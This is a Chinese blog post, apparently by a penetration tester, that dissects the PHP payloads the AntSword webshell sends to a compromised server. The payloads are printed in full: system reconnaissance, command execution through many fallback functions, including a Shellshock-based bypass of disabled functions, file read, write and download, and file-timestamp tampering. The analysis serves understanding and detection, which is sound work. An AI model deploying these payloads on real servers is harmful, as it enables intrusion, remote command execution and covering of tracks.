蟻劍流量分析(php)

2021-12-16 牧馬安全


之前護網的時候上傳了webshell,發現蟻劍連接超時,但是冰蠍和哥斯拉都可以使用,根據我膚淺的了解,冰蠍和哥斯拉的流量是加密的,但是蟻劍不是,所以準備這次回來看看蟻劍的流量搭建個php環境寫個webshell,蟻劍配置一下代理就行,左上角->代理設置,然後改成bp上面設置的代理伺服器就行了這裡的php代碼要url解碼之後再格式化一下會好看一些
<?php@ini_set("display_errors", "0"); @set_time_limit(0); 
function asenc($out) { return $out;};
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a668f"; echo @asenc($output); echo "2b358b9efe4";}
ob_start(); try { $D = dirname($_SERVER["SCRIPT_FILENAME"]); if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]); $R = "{$D} "; if (substr($D, 0, 1) != "/") { foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:"; } else { $R.= "/"; } $R.= " "; $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; $s = ($u) ? $u["name"] : @get_current_user(); $R.= php_uname(); $R.= " {$s}"; echo $R;;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();
?>

ob_start()查了一下一堆看不懂的東西什麼緩衝區啊什麼的
簡單理解一下就是所有執行的結果都放到一個函數裡可以選擇輸出或者不輸出
<?phpob_start();echo "helloworld";$str = ob_get_contents();ob_end_clean();echo $str;
?>

ob_end_flush() 出輸出緩衝區內容並關閉出書緩衝

ob_clean() 清空輸出緩衝區內容

ob_end_clean() 清空發輸出緩衝區並關閉輸出緩衝

ob_flush() 輸出輸出輸出緩衝區內容

ob_get_contents() 返回輸出緩衝區內容

dirname()是用來返迴路徑中目錄的部分

<?phpecho dirname('C:\\test\\a.php');
?>

下面兩個方法是獲取當前路徑的

$_SERVER["SCRIPT_FILENAME"]
$_SERVER["PATH_TRANSLATED"]

下面一個if是判斷當前是windows還是linux截取獲取到路徑的第一個字符如果不是 / 就開始判斷有幾塊硬碟判斷posix_getegid方法是否存在,如果存在就獲取一個結果,不存在就返回空,這個方法只能在linux上面使用,會返回一串數組
Array ( [name] => www-data [passwd] => x [uid] => 33 [gid] => 33 [gecos] => www-data [dir] => /var/www [shell] => /usr/sbin/nologin )

下面一個判斷如果是空字符就用另外一種方法獲取用戶名,總之就是獲取不同系統用戶名的方法吧
posix_getegid(); get_current_user(); 

這兩個方法還是有區別的,如果在linux中使用get_current_user()會顯示創建這個文件的用戶,如果是root用戶創建的會返回root,但是不是當前用戶權限,所以在linux中不能使用這個
這個和什麼有效用戶實際用戶有關係,到時候寫篇文章專門說這個php_uname()獲取一些系統信息,拼接之後就是測試連接包返回的信息
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "c3536554";   echo @asenc($output);   echo "e8932c7d0";}ob_start();try {   $D = base64_decode($_POST["i641a4cfe56ac8"]);    $F = @opendir($D);    if ($F == NULL) {       echo ("ERROR:// Path Not Found Or No Permission!");    } else {       $M = NULL;       $L = NULL;       while ($N = @readdir($F)) {           $P = $D . $N;           $T = @date("Y-m-d H:i:s", @filemtime($P));           @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);           $R = " " . $T . " " . @filesize($P) . " " . $E . "";           if (@is_dir($P)) $M.= $N . "/" . $R;           else $L.= $N . $R;       }       echo $M . $L;       @closedir($F);   };}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

看了一下代碼其實差不多,如果判斷出有這個目錄就格式化
readdir需要用循環輸出所有,如果不使用循環只會輸出第一個文件或文件夾,readdir返回的是資源類型,對php的造詣還沒有這麼深,也不是很能理解,就隨便提一下吧fileperms 獲取文件權限,如0777,0666,就是文件讀寫執行的權限base_convert 轉換進位,第一個參數是需要轉換的字符,第二個參數是現在的進位,第三個參數是需要轉換的進位
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "a735ece";   echo @asenc($output);   echo "aebcb5f";}ob_start();try {   $p = base64_decode($_POST["df6ea65f22ba1e"]);   $s = base64_decode($_POST["hdf1accbefb95a"]);   $envstr = @base64_decode($_POST["udd5d23f539a87"]);   $d = dirname($_SERVER["SCRIPT_FILENAME"]);   $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";   if (substr($d, 0, 1) == "/") {       @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");   } else {       @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");   }   if (!empty($envstr)) {       $envarr = explode("|||asline|||", $envstr);       foreach ($envarr as $v) {           if (!empty($v)) {               @putenv(str_replace("|||askey|||", "=", $v));           }       }   }   $r = "{$p} {$c}";   function fe($f) {       $d = explode(",", @ini_get("disable_functions"));       if (empty($d)) {           $d = array();       } else {           $d = array_map('trim', array_map('strtolower', $d));       }       return (function_exists($f) && is_callable($f) && !in_array($f, $d));   };   function runshellshock($d, $c) {       if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {           if (strstr(readlink("/bin/sh") , "bash") != FALSE) {               $tmp = tempnam(sys_get_temp_dir() , 'as');               putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");               if (fe('error_log')) {                   error_log("a", 1);               } else {                   mail("a@127.0.0.1", "", "", "-bv");               }           } else {               return False;           }           $output = @file_get_contents($tmp);           @unlink($tmp);           if ($output != "") {               print ($output);               return True;           }       }       return False;   };   function runcmd($c) {       $ret = 0;       $d = dirname($_SERVER["SCRIPT_FILENAME"]);       if (fe('system')) {           @system($c, $ret);       } elseif (fe('passthru')) {           @passthru($c, $ret);       } elseif (fe('shell_exec')) {           print (@shell_exec($c));       } elseif (fe('exec')) {           @exec($c, $o, $ret);           print (join("", $o));       } elseif (fe('popen')) {           $fp = @popen($c, 'r');           while (!@feof($fp)) {               print (@fgets($fp, 2048));           }           @pclose($fp);       } elseif (fe('proc_open')) {           $p = @proc_open($c, array(               1 => array(                   'pipe',                   'w'               ) ,               2 => array(                   'pipe',                   'w'               )           ) , $io);           while (!@feof($io[1])) {               print (@fgets($io[1], 2048));           }           while (!@feof($io[2])) {               print (@fgets($io[2], 2048));           }           @fclose($io[1]);           @fclose($io[2]);           @proc_close($p);       } elseif (fe('antsystem')) {           @antsystem($c);       } elseif (runshellshock($d, $c)) {           return $ret;       } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {           $w = new COM('WScript.shell');           $e = $w->exec($c);           $so = $e->StdOut();           $ret.= $so->ReadAll();           $se = $e->StdErr();           $ret.= $se->ReadAll();           print ($ret);       } else {           $ret = 127;       }       return $ret;   };   $ret = @runcmd($r . " 2>&1");   print ($ret != 0) ? "ret={$ret}" : "";;}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

數據包裡面兩個都是base64,第一個參數是cmd(linux為/bin/sh),執行的命令是dir,第二個參數是cd /d 「D:\phpstudy_pro\WWW」&dir&echo [S]&cd&echo [E],cd到這個目錄下面去執行dir
上面就是設置一些變量吧,第一個if判斷當前為什麼系統,不同系統添加不同環境變量,嘗試了一下發現這樣添加環境變量是臨時的,$d得到被禁用的函數,變為一個數組,如果$d為空也轉換成一個數組,如果$d不為空先將所有的禁用函數轉換為小寫再去掉空格如果這個函數存在,可調用,不在這個數組裡面則返回truerunshellshock函數,這裡已經開始bypass_disable_function了,但是這裡需要C語言的知識,暫時還不會C語言所以沒法讀runcmd函數,就是一個個對比過去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最後還有個com組件antsystem這個方法找了一下沒找到,可能是作者先留著準備以後寫的吧上面所有方法都不能使用則返回ret=127,實際測試中只有所有方法都失敗了才會返回127,因為裡面執行的命令不止有一條,如:cd /d 「D:\phpstudy_pro\WWW」&a&echo [S]&cd&echo [E]只要錯誤的命令不在最後一段裡面就會返回0
whoami&a&whoami whoami&whoami&a 

如果想看到ret=1輸入;就可以,會使整條命令都錯誤
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "58e7b39";   echo @asenc($output);   echo "442640773";}ob_start();try {   $F = base64_decode($_POST["z32eaa956c11f2"]);   $P = @fopen($F, "r");   echo (@fread($P, filesize($F) ? filesize($F) : 4096));   @fclose($P);;}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die(); ?>

這個就普通的讀文件,POST上去的文件路徑使用base64編碼。,如果filesize沒讀出大小默認文件大小為4096
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "c6a5e3ac1a3";   echo @asenc($output);   echo "7aa2ed54e88";}ob_start();try {   echo @fwrite(fopen(base64_decode($_POST["md6246f865f321"]), "w"), base64_decode($_POST["ib91b7206ec157"])) ? "1" : "0";;}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

寫入內容和文件路徑使用base64編碼,fwrite寫入
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "a8d0d";   echo @asenc($output);   echo "a0625f";}ob_start();try {   $f = base64_decode($_POST["v889340f8c72ac"]);   $c = $_POST["gf1a56119bdc4e"];   $c = str_replace("", "", $c);   $c = str_replace("", "", $c);   $buf = "";   for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));   echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "40bc8a634f";   echo @asenc($output);   echo "447ce9735";}ob_start();try {   $F = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POS T["v889340f8c72ac"]) : $_POST["v889340f8c72ac"]);   $fp = @fopen($F, "r");   if (@fgetc($fp)) {       @fclose($fp);       @readfile($F);   } else {       echo ("ERROR:// Can Not Read");   };}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

第一個參數是下載的文件,如果有使用魔術引號需要把斜杆都去除,沒有的話就直接返回,後面這個fgetc也看不太懂,可能也涉及C語言的知識,以後學懂了再來看。
<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) {   return $out;};function asoutput() {   $output = ob_get_contents();   ob_end_clean();   echo "a6dd58ec46";   echo @asenc($output);   echo "6b8c4";}ob_start();try {   $m = get_magic_quotes_gpc();   $FN = base64_decode(m ? stripslashes($_POST["p100b5d1ae6e76"]) : $_POST["p100b5d1ae6e76"]);   $TM = strtotime(base64_decode(m ? stripslashes($_POST["f744286414facf"]) : $_POST["f744286414facf"]));   if (file_exists($FN)) {       echo (@touch($FN, $TM, $TM) ? "1" : "0");   } else {       echo ("0");   };;}catch(Exception $e) {   echo "ERROR://" . $e->getMessage();};asoutput();die();?>

看了一下蟻劍編碼器和解碼器,基本上也是一樣的,就是代碼加個編碼返回值也加個編碼


相關焦點

  • 蟻劍實現RC4流量加密
    0x01 前言現在越來越多WAF會檢測流量, 導致即使馬傳進去了也上不了馬,可以用冰蠍解決這個問題
  • 新手入門:如何正確使用蟻劍
    前言蟻劍(antsword)是一款優秀的webshell管理工具,使用該工具的時候可能是很多人最幸福的時刻之一
  • php中函數禁用繞過的原理與利用
    bypass disable function蟻劍項目倉庫中有一個各種disable的測試環境可以復現,需要環境的師傅可以選用蟻劍的環境。關於更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執行分析,我直接摘取原文中比較具有概括性的漏洞說明:漏洞報告中給出的POC是利用了如下的這個委託:<delegate decode="https" command="&quot
  • PHP-FPM進程模型
    當PHP-FPM啟動時,會讀取配置文件,然後創建一個Master進程和若干個Worker進程(具體是幾個Worker進程是由php-fpm.conf中配置的個數決定)。Worker進程是由Master進程fork出來的。
  • php基礎大通關——十分鐘了解php基礎知識
    php的基礎1.在php代碼中,一下代碼列印什麼結果?<?php$a = array();if($a[1])null;echo count($a),"\n";?> 0 1 2 代碼錯誤解析:本題中定義的$a為空數組,所以最後輸出的統計數組元素的個數就是0.2. 以下php代碼將列印什麼結果?<?
  • 新浪微博宋琦:PHP在微博優化中的「大顯身手」
    作為CSDN和《程式設計師》雜誌傾力打造、千人規模以上的頂級技術盛會,今年SDCC 2013以「軟體定義未來」為主題,來自於國內外一線的技術精英,就大數據分析與BI、架構實踐、研發管理、IT基礎設施與運維、產品與設計、開放平臺等專題和參會者進行了深入的分享和探討。此外,32小時編程馬拉松、CTO論道論壇等量身定製的特色環節也受到了參會者的強烈關注。
  • php弱類型比較(鬆散比較)
    總結一下關於php(拍h片)弱類型相關知識的梳理。
  • 冰蠍3.0流量分析與還原
    phpshell與冰蠍2.0在建立連接時隨機生成AES密鑰同時明文交換不同是,冰蠍3.0的AES密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond。該方法保證了全密文傳輸,但是依然具有一定的特點。
  • 行軍蟻和子彈蟻誰更厲害?為什麼?
    行軍蟻並不是一種螞蟻的名字,而是指一類螞蟻,也就是所有蟻科行軍蟻亞科下螞蟻的總稱。在整個行軍蟻亞科下最知名的無疑就是布氏遊蟻了。這是因為它是生物學家研究最多且在科普類的視頻和文章中出現最多的行軍蟻。生物學家是這麼形容被子彈蟻咬中後的感覺的:「被子彈蟻刺中的感覺就像是被一根長7公分的鐵釘扎入腳後跟一樣」。而且被子彈蟻刺中後,那種灼燒的疼痛會持續24個小時,並且被刺中的部位還伴隨著嚴重的痙攣。從分布上看,子彈蟻與行軍蟻有著高度的重合,因為子彈蟻同樣常見於中南美洲的熱帶雨林中。
  • 《原神》試作古華和白影劍對比分析
    《原神》遊戲中試作古華和白影劍哪個更好?試作古華和白影劍都是遊戲中的四星雙手劍,但是在屬性方面還是有很大差別的,很多玩家經常把這兩把武器進行比較,那麼接下來小編為大家帶來《原神》試作古華和白影劍對比分析,一起來看看吧。
  • 首發:做品牌互動+私域的小蟻數智再融數千萬!
    早在去年6月,「小蟻數智」就獲得了高朋共贏創業投資企業投資的數百萬元天使輪融資。據小蟻數智創始人宋博透露,目前也有新的國際頂級投資人打算追加本輪融資。小蟻數智創始人 宋博目前「小蟻數智」已累計服務了多家國內外知名品牌, 涉及美妝、鞋服、珠寶、房產、酒飲、出行等領域。如滴滴、凱迪拉克、絲芙蘭、TIFFANY&Co.
  • 全職獵人:有人說黑化小傑能夠打過會長和蟻王?事實證明不可能!
    對於蟻王和小傑的比較,我們可以從三個方面來分析:蟻王的個人實力、小傑的黑化實力、及會長的實力。【3】被復仇的火焰侵蝕之後的小傑甚至能夠忘記身體的存在,在和貓女對戰的時候,即便是自己失去了手臂也覺得無所謂,這個形態非常相似於《劍風傳奇》中格斯的狂戰士形態,都是以身體的代價為基礎獲得了力量,但是小傑在獲得力量之後面對的卻是生命的代價。
  • PHP程序'猿'必備的七種武器
    作為一個程序猿(又或者是程序媛),出來闖蕩江湖,沒有幾種必殺技在手,那是肯定無法贏得江湖名聲的,除了必殺技之外,武器也是很重要的,但是一把青鋼劍,
  • 原神試作古華和白影劍對比分析 四星雙手劍哪個好
    《原神》遊戲中試作古華和白影劍哪個更好?
  • 全職獵人:蟻王中毒後,到底還有沒有獲救的可能?
    全職獵人的蟻王篇中,蟻王的實力碾壓全場,但最後的死法卻讓人嘆息,如果真的是在和會長一戰中直接被炸死也就算了,然而之後的劇情卻又讓蟻王復活,大家便期待接下來是否會有更精彩的對決,但很遺憾,原來蟻王早就中了核彈的毒,即使續命,不久後也要死去,而蟻王之後確實也沒有了新的對戰。
  • 數字體驗CEM服務商,小蟻數智獲數千萬元Pre-A輪融資
    打造品牌流量第三空間   小蟻數智是一家圍繞「品牌用戶運營+數字體驗」的CEM服務商。它的核心目標是使用數位化創新手段和工具,提高用戶線上線下體驗感,從而促進用戶運營的核心指標提升,主要表現在拉新、促活、轉化、留存等方面。
  • 實例,PHP統計查詢關鍵字出現的次數
    本例通過字符串函數 substr_count()統計查詢字符串出現的次數,運行結果如下圖所示:實現過程創建腳本 index.php 文件。首先,預定義字符串變量,編寫form表單。當點擊「搜索」按鈕時,利用 substr_count()函數輸出指定字符串出現的次數。
  • 劍與遠徵光弓格溫妮絲優劣分析
    劍與遠徵光弓優劣勢是什麼?光弓在什麼時期厲害?來看看9k9k小編帶來的劍與遠徵光弓格溫妮絲優劣分析。 弓的優劣分析 個人是從14章開始,目前14~19章全部依靠光弓過圖。
  • 一個PHP網站 「新手」捉蟲小記
    3.了解框架排除了ftp工具的問題之後,我開始懷疑是不是別的問題了,在網頁裡搜了一下「php index.php被修改」搜出來一堆關於phpCMS框架的問題,然後一股腦發了7,5.諮詢高手沒辦法了,只好到處找資料,看代碼,分析TP5.0的框架,工作原理,就想找到點蛛絲馬跡。群裡問了下高手,得到了兩個關鍵詞「路由」,「查看日誌」。高手們的幫忙,我真的很是感激。「這個還要我教啊」--這句話 對我觸動也是很大。我們作為前輩(有些領域我還是很資深的^_^)是不是考慮下新手的情況和心情。